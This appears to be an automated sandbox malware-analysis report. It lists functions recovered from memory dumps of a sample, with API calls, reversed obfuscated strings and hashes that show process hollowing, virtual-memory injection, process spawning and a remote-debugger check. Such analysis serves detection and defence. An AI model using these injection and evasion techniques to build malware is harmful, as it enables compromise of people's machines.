String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 421316089-445027087
Opcode ID: 7f4ce699b978f234ab46a98c3c3ffbf5efab4e60fd9e4b4e685c002828e7361f
Instruction ID: 3f34f69441078dbc084a05b6e4bf8f08a784129994b52d7a1ba156f48142239e
Opcode Fuzzy Hash: 7f4ce699b978f234ab46a98c3c3ffbf5efab4e60fd9e4b4e685c002828e7361f
Instruction Fuzzy Hash: 72116175618208BFEB00EFA4DC51E9EB7BDEB4C700F5188A1F605D7640DA30AA118B20

Function 02BA79B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02BA8020: GetModuleHandleA.KERNELBASE(?), ref: 02BA8072

Part of subcall function 02BA80C8: GetProcAddress.KERNEL32(?,?), ref: 02BA812D

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02BA7A27

Strings

yromeMlautriVetacollAwZ, xrefs: 02BA79CF
ntdll, xrefs: 02BA79FC

Memory Dump Source

Source File: 00000015.00000002.2615248240.0000000002B91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2b91000_Oupzhkpr.jbxd

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 421316089-445027087
Opcode ID: a7d730025fbdb795187bd3c966dbfa4411728377d506afb99946ecc2005b4427
Instruction ID: 8789199959a0e310fdd7c0d80c03df6b84800b085883bb61155c40a4a0eccd7a
Opcode Fuzzy Hash: a7d730025fbdb795187bd3c966dbfa4411728377d506afb99946ecc2005b4427
Instruction Fuzzy Hash: 68118075618208BFEB00EFA4DC51F9EB7BDEB4C700F5188A1F605E7640DA30AA118B20

Function 02BA8254 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02BA8020: GetModuleHandleA.KERNELBASE(?), ref: 02BA8072

Part of subcall function 02BA80C8: GetProcAddress.KERNEL32(?,?), ref: 02BA812D

NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02BA82C5

Strings

yromeMlautriVdaeRtN, xrefs: 02BA826F
ntdll, xrefs: 02BA829C

Memory Dump Source

Source File: 00000015.00000002.2615248240.0000000002B91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2b91000_Oupzhkpr.jbxd

Similarity

API ID: AddressHandleMemoryModuleProcReadVirtual
String ID: ntdll$yromeMlautriVdaeRtN
API String ID: 2004920654-737317276
Opcode ID: 5ad1e9089783403c47ec60bcf117f084e17541d22301215ce3451729454095d8
Instruction ID: 649c06152a124f50e3ab9fe9bce174c39b669520b107272c93d82e667562795a
Opcode Fuzzy Hash: 5ad1e9089783403c47ec60bcf117f084e17541d22301215ce3451729454095d8
Instruction Fuzzy Hash: 70014075654208BFEF40EFA8D851E5E77FEEB4D700F5188A1F604D7A00D630A9118B24

Function 02BA7D00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02BA8020: GetModuleHandleA.KERNELBASE(?), ref: 02BA8072

Part of subcall function 02BA80C8: GetProcAddress.KERNEL32(?,?), ref: 02BA812D

NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02BA7D74

Strings

Ntdll, xrefs: 02BA7D4B
yromeMlautriVetirW, xrefs: 02BA7D1B

Memory Dump Source

Source File: 00000015.00000002.2615248240.0000000002B91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2b91000_Oupzhkpr.jbxd

Similarity

API ID: AddressHandleMemoryModuleProcVirtualWrite
String ID: Ntdll$yromeMlautriVetirW
API String ID: 4260932595-3542721025
Opcode ID: aa74e6317e04218b687dc967bfe8bdd0d3d2c39335963b154b0247c9e5e38ab1
Instruction ID: e611818d610cb29055b083b4ecdbc2a741fd0542395b11bf80997878a5df0552
Opcode Fuzzy Hash: aa74e6317e04218b687dc967bfe8bdd0d3d2c39335963b154b0247c9e5e38ab1
Instruction Fuzzy Hash: 120156B5618204BFDB40EFA8DC51E9EB7FDEB4D700F5188A1F504D7A40DA30A9119F24

Function 02BA84C4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02BA8020: GetModuleHandleA.KERNELBASE(?), ref: 02BA8072

Part of subcall function 02BA80C8: GetProcAddress.KERNEL32(?,?), ref: 02BA812D

NtUnmapViewOfSection.NTDLL(?,?), ref: 02BA8529

Strings

noitceSfOweiVpamnUtN, xrefs: 02BA84DF
ntdll, xrefs: 02BA850C

Memory Dump Source

Source File: 00000015.00000002.2615248240.0000000002B91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2b91000_Oupzhkpr.jbxd

Similarity

API ID: AddressHandleModuleProcSectionUnmapView
String ID: noitceSfOweiVpamnUtN$ntdll
API String ID: 2801472262-2520021413
Opcode ID: 8c2a5c31913a600f359f8d6bbcb0bed1d8f2db6f9eee8246b4e7f11949545050
Instruction ID: 7488d60942ec1a8ac07c0017bda83277f8fd0eb5edce0900d4b46c800760be91
Opcode Fuzzy Hash: 8c2a5c31913a600f359f8d6bbcb0bed1d8f2db6f9eee8246b4e7f11949545050
Instruction Fuzzy Hash: 13016274A58204BFEB50EFA8D861E5E77BEEB49710F518CE1F504D7A11DA34A9118A20

Function 02BA85DC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02BA8020: GetModuleHandleA.KERNELBASE(?), ref: 02BA8072

Part of subcall function 02BA80C8: GetProcAddress.KERNEL32(?,?), ref: 02BA812D

CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02BA8668

Strings

CreateProcessAsUserW, xrefs: 02BA85F5
Kernel32, xrefs: 02BA8627

Memory Dump Source

Source File: 00000015.00000002.2615248240.0000000002B91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2b91000_Oupzhkpr.jbxd

Similarity

API ID: AddressCreateHandleModuleProcProcessUser
String ID: CreateProcessAsUserW$Kernel32
API String ID: 4105707577-2353454454
Opcode ID: e3c9dbfeac82c52c2aff80b6893176ea72759ae667997593a4ae06552fefa682
Instruction ID: f0544dd4e8147e4e9db5648a6be00a9fba03ac553e2a33591fca21aa7f36d203
Opcode Fuzzy Hash: e3c9dbfeac82c52c2aff80b6893176ea72759ae667997593a4ae06552fefa682
Instruction Fuzzy Hash: 7A11D6B6654208BFEB90DFACDD51F9A37EDEB0D700F5245A0FA08D7A40D634E9108B24

Function 02BA840E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02BA8020: GetModuleHandleA.KERNELBASE(?), ref: 02BA8072

Part of subcall function 02BA80C8: GetProcAddress.KERNEL32(?,?), ref: 02BA812D

WinExec.KERNEL32(?,?), ref: 02BA8478

Strings

WinExec, xrefs: 02BA8429
Kernel32, xrefs: 02BA845B

Memory Dump Source

Source File: 00000015.00000002.2615248240.0000000002B91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2b91000_Oupzhkpr.jbxd

Similarity

API ID: AddressExecHandleModuleProc
String ID: Kernel32$WinExec
API String ID: 3450258509-3609268280
Opcode ID: 0831b7d2ce961eb33aa09256df09c616f96cb9c1716f0c5cfdc36bda5fde112a
Instruction ID: a3e8af9046413a9c82c67a86b46e275b87b67605d5921221c1f9bedb8f484925
Opcode Fuzzy Hash: 0831b7d2ce961eb33aa09256df09c616f96cb9c1716f0c5cfdc36bda5fde112a
Instruction Fuzzy Hash: 2A018175A58204BFEB10EFA8DC61F5E77EDE749700F5188A1F604D7A50DA74AD108A24

Function 02BA8410 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02BA8020: GetModuleHandleA.KERNELBASE(?), ref: 02BA8072

Part of subcall function 02BA80C8: GetProcAddress.KERNEL32(?,?), ref: 02BA812D

WinExec.KERNEL32(?,?), ref: 02BA8478

Strings

WinExec, xrefs: 02BA8429
Kernel32, xrefs: 02BA845B

Memory Dump Source

Source File: 00000015.00000002.2615248240.0000000002B91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2b91000_Oupzhkpr.jbxd

Similarity

API ID: AddressExecHandleModuleProc
String ID: Kernel32$WinExec
API String ID: 3450258509-3609268280
Opcode ID: ec84857237c24f7c940e8813bc44d00f7f47d01ebb632b8f802dcd72c4600801
Instruction ID: 7fd0dd7258a7b95f49e6a09d8af6470138c7bae2cb08855de005dd1dd2407768
Opcode Fuzzy Hash: ec84857237c24f7c940e8813bc44d00f7f47d01ebb632b8f802dcd72c4600801
Instruction Fuzzy Hash: EBF0A475A58304FFEB10EFA8DC61F5E77EDE749700F5188A1F604D7A50DA74A9108B24

Function 02BAEBF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02BAEC29

Strings

KernelBase, xrefs: 02BAEBFB
CheckRemoteDebuggerPresent, xrefs: 02BAEC0C

Memory Dump Source

Source File: 00000015.00000002.2615248240.0000000002B91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2b91000_Oupzhkpr.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 3662101638-539270669
Opcode ID: 6032f479602095851f60b3527a69ae2b5770bdb483484d9e5297e24418dccdff
Instruction ID: 7e1d2b94ef4a32129e301bb43474eff19c1999792d1f263a2cdbf76f5474c29d
Opcode Fuzzy Hash: 6032f479602095851f60b3527a69ae2b5770bdb483484d9e5297e24418dccdff
Instruction Fuzzy Hash: 58F0A77090C24CBBDB21A7A888997DCFBA99B05328F6403F4E424611D1F7754644C661

Non-executed Functions

Function 02BA818C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 02BA8020: GetModuleHandleA.KERNELBASE(?), ref: 02BA8072

Part of subcall function 02BA80C8: GetProcAddress.KERNEL32(?,?), ref: 02BA812D

FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02BA8216), ref: 02BA81F8

Strings

FlushInstructionCache, xrefs: 02BA81A5
Kernel32, xrefs: 02BA81D7

Memory Dump Source

Source File: 00000015.00000002.2615248240.0000000002B91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2b91000_Oupzhkpr.jbxd

Similarity

API ID: AddressCacheFlushHandleInstructionModuleProc
String ID: FlushInstructionCache$Kernel32
API String ID: 2392256011-184458249
Opcode ID: 457c7d5d4c4f506ebd4baac4f56f9f79ae0f2a6e580b36c9ff5bf07209865db2
Instruction ID: c3596a6561b4805bb2871c65e517005a8993c2b8db04f4190c507326b18ccb55
Opcode Fuzzy Hash: 457c7d5d4c4f506ebd4baac4f56f9f79ae0f2a6e580b36c9ff5bf07209865db2
Instruction Fuzzy Hash: 8C01A275654304BFEB11EFA8DC61F5E77ADE709700F5148A1F604E3A00D630AD108B24

Function 02BA80C8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 02BA812D

Strings

Kernel32, xrefs: 02BA8110
sserddAcorPteG, xrefs: 02BA80E3

Memory Dump Source

Source File: 00000015.00000002.2615248240.0000000002B91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2b91000_Oupzhkpr.jbxd

Similarity

API ID: AddressProc
String ID: Kernel32$sserddAcorPteG
API String ID: 190572456-1372893251
Opcode ID: 611a9b2bbcda9bbf84db0899ff7f2209c1ed046507ddb5918ba0c4cb7c54a095
Instruction ID: 84ceea3b3ce00dbd69c66a21a42847dfed1dfef8a24c59915d6c856f6b44645a
Opcode Fuzzy Hash: 611a9b2bbcda9bbf84db0899ff7f2209c1ed046507ddb5918ba0c4cb7c54a095
Instruction Fuzzy Hash: 08014F35A54304BFEF00EFA8D851E9E77BEEB4D750F5188B5F60497A10DA34A911CA24

Function 02BA8020 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 02BA80C8: GetProcAddress.KERNEL32(?,?), ref: 02BA812D

GetModuleHandleA.KERNELBASE(?), ref: 02BA8072

Strings

AeldnaHeludoMteG, xrefs: 02BA8039
KernelBASE, xrefs: 02BA8059

Memory Dump Source

Source File: 00000015.00000002.2615248240.0000000002B91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2b91000_Oupzhkpr.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1646373207-1952140341
Opcode ID: 77ff27abc9d49c2fbf8efdc8c80b7c95e66b0322aa5e5d0861f6a568da7c70fd
Instruction ID: f8fa5cca86f676f9b03afe5ba52f2039b8ae9ed91ef6bd4846405163ab7dda16
Opcode Fuzzy Hash: 77ff27abc9d49c2fbf8efdc8c80b7c95e66b0322aa5e5d0861f6a568da7c70fd
Instruction Fuzzy Hash: AAF06D71658304BFEB50EFA8D822D5E7BAEEB49740B9149E1F60493A10DA30AD148A64

Analysis Process: rpkhzpuO.pifPID: 5824, Parent PID: 880COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	4.2%
Signature Coverage:	0%
Total number of Nodes:	1291
Total number of Limit Nodes:	53

Executed Functions

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
Module32Next.KERNEL32(00000000,?), ref: 00401D02
Module32Next.KERNEL32(00000000,?), ref: 00401DB6
CloseHandle.KERNELBASE(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

E, xrefs: 00401E0F
{, xrefs: 00401B4B
o, xrefs: 00401B8D
v, xrefs: 00401B5A
%, xrefs: 004020FA
{, xrefs: 00401E3C
W, xrefs: 00401B23
x, xrefs: 0040214A
U, xrefs: 004020F5
', xrefs: 00401AF6
D, xrefs: 00401DFB
4, xrefs: 00402074
v, xrefs: 00401E4B
0, xrefs: 00401BBD
4, xrefs: 00401B64
*, xrefs: 004020E1
x, xrefs: 00402088
., xrefs: 00401B0A
), xrefs: 0040202E
V, xrefs: 00402038
[, xrefs: 00402047
{, xrefs: 0040205B
", xrefs: 00401B0F
5, xrefs: 00402109
o, xrefs: 00402159
8, xrefs: 00401BA9
6, xrefs: 004020C5
W, xrefs: 00401B14
!, xrefs: 00401B1E
', xrefs: 00402006
V, xrefs: 00401E19
!, xrefs: 0040201A
o, xrefs: 00402097
., xrefs: 0040201F
W, xrefs: 00402033
!, xrefs: 004020CF
x, xrefs: 00401B78
:, xrefs: 00401B28
_._, xrefs: 00402257
*, xrefs: 00401A1F
___, xrefs: 0040227D
h, xrefs: 00401A6F
4, xrefs: 00402136
x, xrefs: 00401E69
v, xrefs: 0040212C
v, xrefs: 0040206A
W, xrefs: 004020E6
{, xrefs: 0040211D
[, xrefs: 00401B37

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 1430744539-2962942730
Opcode ID: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Function 35182060 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 327
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetActiveWindow.USER32 ref: 351821EF

Strings

xk@4, xrefs: 35182380
xk@4, xrefs: 351820E8
,l@4, xrefs: 35182113

Memory Dump Source

Source File: 00000018.00000002.2749536526.0000000035180000.00000040.00000800.00020000.00000000.sdmp, Offset: 35180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_35180000_rpkhzpuO.jbxd

Similarity

API ID: ActiveWindow
String ID: ,l@4$xk@4$xk@4
API String ID: 2558294473-1587194999
Opcode ID: 7a190cac6878681b62e96c8cc49ff3e9503a65ea8f4ea2b4eb77e3ccf5c6ba5a
Instruction ID: cb62d544b764efa5a20e2ab5f86eb22779e467a12f43aa5996f09e69bbfcc202
Opcode Fuzzy Hash: 7a190cac6878681b62e96c8cc49ff3e9503a65ea8f4ea2b4eb77e3ccf5c6ba5a
Instruction Fuzzy Hash: 72C16E74B003059FEB159FA5D4147AEBBE6BFC9340F148829E916AB380DF389846CB65

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Function 35183690 Relevance: 6.1, APIs: 4, Instructions: 135
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 3518371E
GetCurrentThread.KERNEL32 ref: 3518375B
GetCurrentProcess.KERNEL32 ref: 35183798
GetCurrentThreadId.KERNEL32 ref: 351837F1

Memory Dump Source

Source File: 00000018.00000002.2749536526.0000000035180000.00000040.00000800.00020000.00000000.sdmp, Offset: 35180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_35180000_rpkhzpuO.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: aa823adf57dc59c9c70211605d338fca33fd45191010f69b19d66a45542b0e98
Instruction ID: 3723a0055e9e183fbcb18aa2d68e5c8fd0d28d91f97734cb6ea69d6cc6c3a61a
Opcode Fuzzy Hash: aa823adf57dc59c9c70211605d338fca33fd45191010f69b19d66a45542b0e98
Instruction Fuzzy Hash: 5B5186B4900749DFDB50DFA9D988B9EBBF1AF88310F208459E009B7350D7359841CF69

Function 351836A0 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 3518371E
GetCurrentThread.KERNEL32 ref: 3518375B
GetCurrentProcess.KERNEL32 ref: 35183798
GetCurrentThreadId.KERNEL32 ref: 351837F1

Memory Dump Source

Source File: 00000018.00000002.2749536526.0000000035180000.00000040.00000800.00020000.00000000.sdmp, Offset: 35180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_35180000_rpkhzpuO.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: a46d49a7d8c0a645a35cb693126f7918ab9c151d26b8690deafb55c6d5925fa5
Instruction ID: 1b56012314ff05409e94e20defa7f919e1cb2dd14ae977b1850288489c1efa3d
Opcode Fuzzy Hash: a46d49a7d8c0a645a35cb693126f7918ab9c151d26b8690deafb55c6d5925fa5
Instruction Fuzzy Hash: B75165B0900749CFDB54DFAAD988B9EBBF1AF88310F248459D009B7360DB359945CF69

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Function 35182056 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetActiveWindow.USER32 ref: 351821EF

Strings

xk@4, xrefs: 351820E8
,l@4, xrefs: 35182113

Memory Dump Source

Source File: 00000018.00000002.2749536526.0000000035180000.00000040.00000800.00020000.00000000.sdmp, Offset: 35180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_35180000_rpkhzpuO.jbxd

Similarity

API ID: ActiveWindow
String ID: ,l@4$xk@4
API String ID: 2558294473-3522002665
Opcode ID: b2c14653403d72c050b39706e0a1e81bab7130f51279f8bb7dd252f3ba1e6c13
Instruction ID: 2b4c6693f154ffd7e83f142dd043f0d03095f7d1a6c57373ec3d573839626100
Opcode Fuzzy Hash: b2c14653403d72c050b39706e0a1e81bab7130f51279f8bb7dd252f3ba1e6c13
Instruction Fuzzy Hash: BA6139B4A003499FEB15DFA5C854B9DFBF2FF88340F108429E816AB290DB359846CF54

Function 0040E7EE Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 0040E7F6

Part of subcall function 0040E7C3: GetModuleHandleW.KERNEL32(mscoree.dll,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7CD
Part of subcall function 0040E7C3: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040E7DD
Part of subcall function 0040E7C3: CorExitProcess.MSCOREE(00000001,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7EA

ExitProcess.KERNEL32 ref: 0040E7FF

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction ID: d9ec683f250bcd397ae0bae66fbc2b9097e114182cfe22e5ca4178904d999afd
Opcode Fuzzy Hash: 65da83064d662722dc3cf0b1a9484b1fe75efcd2066e1800ec5593f74242e35d
Instruction Fuzzy Hash: ADB09B31000108BFDB112F13DC09C493F59DB40750711C435F41805071DF719D5195D5

Function 351854C8 Relevance: 1.6, APIs: 1, Instructions: 68
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 3518555A

Memory Dump Source

Source File: 00000018.00000002.2749536526.0000000035180000.00000040.00000800.00020000.00000000.sdmp, Offset: 35180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_35180000_rpkhzpuO.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 82c8e83d64718e9e39263ed02e21600570f1db8f8bea9459ca93950cd16ebb9e
Instruction ID: 32ddf0b47e8a2e4cb7c8e22311ff103a0ec1fe4cd3af6bd8dfb29e1816328d90
Opcode Fuzzy Hash: 82c8e83d64718e9e39263ed02e21600570f1db8f8bea9459ca93950cd16ebb9e
Instruction Fuzzy Hash: E33123B490024ACFDB10CFA9D480B9EBBF0FF49314F14856AD418BB211D779A946CFA5

Function 351838E1 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 3518396F

Memory Dump Source

Source File: 00000018.00000002.2749536526.0000000035180000.00000040.00000800.00020000.00000000.sdmp, Offset: 35180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_35180000_rpkhzpuO.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: f1f99e875c43f1cfd3b4a1d756cc85de3fd3afad6b7b3568e6aba9835e223b0c
